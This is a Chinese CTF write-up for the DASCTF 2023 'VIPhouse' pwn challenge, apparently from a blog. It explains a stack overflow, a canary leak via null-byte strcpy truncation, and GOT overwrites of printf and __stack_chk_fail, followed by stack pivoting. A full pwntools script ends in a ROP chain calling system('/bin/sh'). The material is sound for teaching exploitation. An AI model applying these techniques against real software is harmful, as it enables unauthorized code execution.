首页 > 其他分享 >DASCTF 2023 & 0X401七月暑期挑战赛【PWN】(VIPhouse篇)

DASCTF 2023 & 0X401七月暑期挑战赛【PWN】(VIPhouse篇)

时间:2024-07-24 17:22:25浏览次数:11  
标签:VIPhouse 0X401 2023 canary payload libc io sendlineafter ptr

DASCTF 2023 & 0X401七月暑期挑战赛【PWN】(VIPhouse篇)

题目保护情况

没有开pie保护,延迟绑定机制

64位ida逆向

给了一些功能函数

1.login in

输入密码的时候会溢出,同时判断输入的name,和passwd

同时有两个标志位,如果是admin,多一个标志位

2.canary功能

前提是admin才能进行输出canary,而且要输入正常随机数

3.UAF功能

add功能可以向ptr写入8字节数据

思路:1.有溢出可能是要想办法绕过canary,但是只有输入正确的随机数才能获得canary,但是是通过strcpy进行赋值的,存在00截断,如果随机数的低位是00,那么随机数就是8*\x00所以我们可以通过这个来进行尝试,也就是输入8*\x00的随机数,获取canary。

2.有了canary,想办法泄露libc地址,但是程序没有可以利用的gadget,那就看看别的部分

注意到泄露canary的时候printf的第一个参数可以通过rbp来控制,即rbp-0xe的位置

但是又一个问题,直接通过printf来泄露地址话,会抬高rsp,导致程序写入不可写的地址导致程序崩溃,这里的解决办法是通过,ptr地址将printf的got表写入puts的plt表,同时还有一个问题,在最后栈迁移得到shell的时候,canary的位置不可控导致最后检查的时候触发__stack_chk_fail,也会导致程序崩溃,那么就继续修改__stack_chk_fail——got表为pop_rbp,为什么选这个,pop_rbp不会对栈上的数据进行破坏,而且可以恢复栈。最后再次栈迁移,获取shell。

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io = process('./viphouse')
elf =ELF('./viphouse')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


def login(name,passwd):
    io.sendlineafter('option:','1')
    io.sendlineafter('username:',name)
    io.sendlineafter('password:',passwd)



def uaf():
    io.sendlineafter('option:','3')


def add(msg):
    io.sendlineafter('Choice: ','1')
    io.sendlineafter('Enter your note:',msg)

def free():
    io.sendlineafter('Choice: ','2')


def canary(num):
    io.sendlineafter('option:','4')
    io.sendlineafter('Please input the number you guess: ',num)



login('admin\0','root\0')
gdb.attach(io)
canary(b'\x00'*8)
io.recvuntil('gift!')

canary = int(io.recvline(),16)
success('canary----->'+hex(canary))
#gdb.attach(io)
#pause()
ptr = 0x404128
add_ptr = 0x4017F2
bss = 0x404f00
ret_addr = 0x401991
pop_rbp =  0x40139d
lv = 0x40147b
io.sendlineafter('option:','5')
io.sendlineafter('option:','1')
io.sendlineafter('username:',b'admin\x00')
payload = b'a'*0x40 + flat(canary, ptr + 0x2a0, ret_addr)
io.sendlineafter('password:',payload)

io.sendlineafter('username:',p64(elf.got['printf']))
payload = b'a'*0x40 + flat(canary, ptr+0x2a0+0x10, add_ptr, bss, ret_addr)
io.sendafter('password:',payload)
io.send(p64(elf.plt['puts']))

io.sendlineafter('username:',b'admin\x00')
payload = b'a'*0x40 + flat(canary, ptr + 0x2a0, ret_addr)
io.sendlineafter('password:',payload)

io.sendlineafter('username:',p64(elf.got['__stack_chk_fail']))
payload = b'a'*0x40 + flat(canary, ptr+0x2a0+0x10, add_ptr, bss, ret_addr)
io.sendafter('password:',payload)     
io.send(p64(pop_rbp))
gdb.attach(io)
io.sendlineafter('username:',flat(elf.got['read']+0xe,0x4015D0,elf.sym['login']))
payload = b'a'*0x40 + flat(canary, 0x404c60,lv)
io.sendlineafter('password:',payload)
io.recvuntil('\n')
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - libc.sym['read']
success('libc_base----->'+hex(libc_base))

pop_rdi = next(libc.search(asm('pop rdi;ret'))) + libc_base
bin_sh = next(libc.search(b'/bin/sh\0')) + libc_base
system = libc.sym['system'] + libc_base
ret = pop_rdi+1

io.sendlineafter('username:',flat(0,ret,pop_rdi,bin_sh,system))
payload = b'a'*0x40 + flat(canary,0x4049d0,lv)
io.sendlineafter('password:',payload)



io.interactive()

ps:这里打的本地就没有用循环了,注意ptr+0x2a0是因为会把rbp-0x2a0的数据写入ptr。ptr+0x2a0+0x10是为了布置新的rbp返回正确的地址上。

最后的0x404c60,等都是要通过调试到程序里面找,然后进行迁移。

标签:VIPhouse,0X401,2023,canary,payload,libc,io,sendlineafter,ptr
From: https://www.cnblogs.com/CH13hh/p/18321300

相关文章

  • [atcoder utpc2023_p] Priority Queue 3
    PriorityQueue3题意:有一个小根堆和\(1\)~\(n\)个数,以及一个操作序列,+表示\(push\),-表示\(pop\),\(pop\)有\(m\)次,问你有多少种插入顺序使得最后的pop集合与给出的的数字集合\(Y\)相同。首先有个浅显的发现:对于不在\(Y\)集合中的数,可选范围形如一个阶梯,换句话......
  • DASCTF 2023 & 0X401七月暑期挑战赛【PWN】(FileEditor篇)
    DASCTF2023&0X401七月暑期挑战赛【PWN】(FileEditor篇)题目保护情况(保护全家桶)64位ida逆向模拟了一个类似vim的功能,有打开文件,打印内容,插入行,删除行,复制行,和编辑行,还有查找字符和替换字符的功能,然后就是保存退出一个一个来分析吧1.open就是打开一个file文件。没有会创建......
  • SketchUp v2023 激活版下载与安装教程 (强大的绘图三维建模工具)
    前言Sketchup草图大师专业版,一套面向建筑师、城市规划专家、制片人、游戏开发者以及相关专业人员的3D建模程序,全球知名的三维建模软件,强大的绘图工具、建模渲染、扩展插件和渲染器模板、海量3D模型库及建模灯光材质渲染效果图,用于建筑师、城市规划专家、游戏开发等行业。......
  • DASCTF 2023六月挑战赛|二进制专项 PWN (下)
    DASCTF2023六月挑战赛|二进制专项PWN(下)1.can_you_find_me检查保护意料之中64位ida逆向只有add,和del功能不能show先看add吧最多申请10个堆块存在off_by_null漏洞,可以考虑unlink来进行堆块重叠del函数就没有UAF漏洞了1.首先想办法泄露出libc地址,因为本题libc是2.27......
  • 2024钉钉杯及2023钉钉杯ABC题分析
    钉钉杯,通常指的是钉钉杯大数据挑战赛,这是一场由阿里巴巴旗下钉钉举办的全国性大数据竞赛。以下是对钉钉杯的详细解析:一、竞赛背景与目的钉钉杯大数据挑战赛旨在通过大数据竞赛的形式,激发学生对大数据技术的兴趣,提升他们的数据分析和数据挖掘能力。同时,该竞赛也为学生提供了一......
  • DASCTF 2023六月挑战赛|二进制专项 PWN (上)
    DASCTF2023六月挑战赛|二进制专项PWN(上)1.easynoteedit函数对长度没有检查free函数存在UAF漏洞思路:1.通过堆溢出,UAF,修改size位达到堆块重叠,使用fastbinattack,把__malloc_hook,写入one_gadget2.通过unlink修改freegot表为systemexp:frompwnimport*context(log_lev......
  • DASCTF 2023六月挑战赛|二进制专项 PWN (上)
    DASCTF2023六月挑战赛|二进制专项PWN(上)1.easynoteedit函数对长度没有检查free函数存在UAF漏洞思路:1.通过堆溢出,UAF,修改size位达到堆块重叠,使用fastbinattack,把__malloc_hook,写入one_gadget2.通过unlink修改freegot表为systemexp:frompwnimport*context(lo......
  • ScaleDet:AWS 基于标签相似性提出可扩展的多数据集目标检测器 | CVPR 2023
    论文提出了一种可扩展的多数据集目标检测器(ScaleDet),可通过增加训练数据集来扩大其跨数据集的泛化能力。与现有的主要依靠手动重新标记或复杂的优化来统一跨数据集标签的多数据集学习器不同,论文引入简单且可扩展的公式来为多数据集训练产生语义统一的标签空间,通过视觉文本对齐进......
  • 2023年度好题(1)
    文章有点长,都是由本人一点一点写出来的,公式加载需要一段时间。CF1152ENekoandFlashback思路来自@apple365。思路任意一组\(b_i,c_i\)都是相邻的两条边,所以我们将\(b_i\)和\(c_i\)连起来,如果可以跑通一条欧拉路径,那么这条欧拉路径上的所有数字就可以组成数组\(a\)......
  • 塔子哥的最大数组-美团2023笔试(codefun2000)
    题目链接塔子哥的最大数组-美团2023笔试(codefun2000)题目内容塔子哥有一个长度为n的数组a,默认的求和方式是将a中所有元素加起来。但是塔子哥有一种技能,可以将求和的其中一次加法转换为乘法操作。在这种情况下,数组a的最大和为多少。输入描述第一行,一个正整......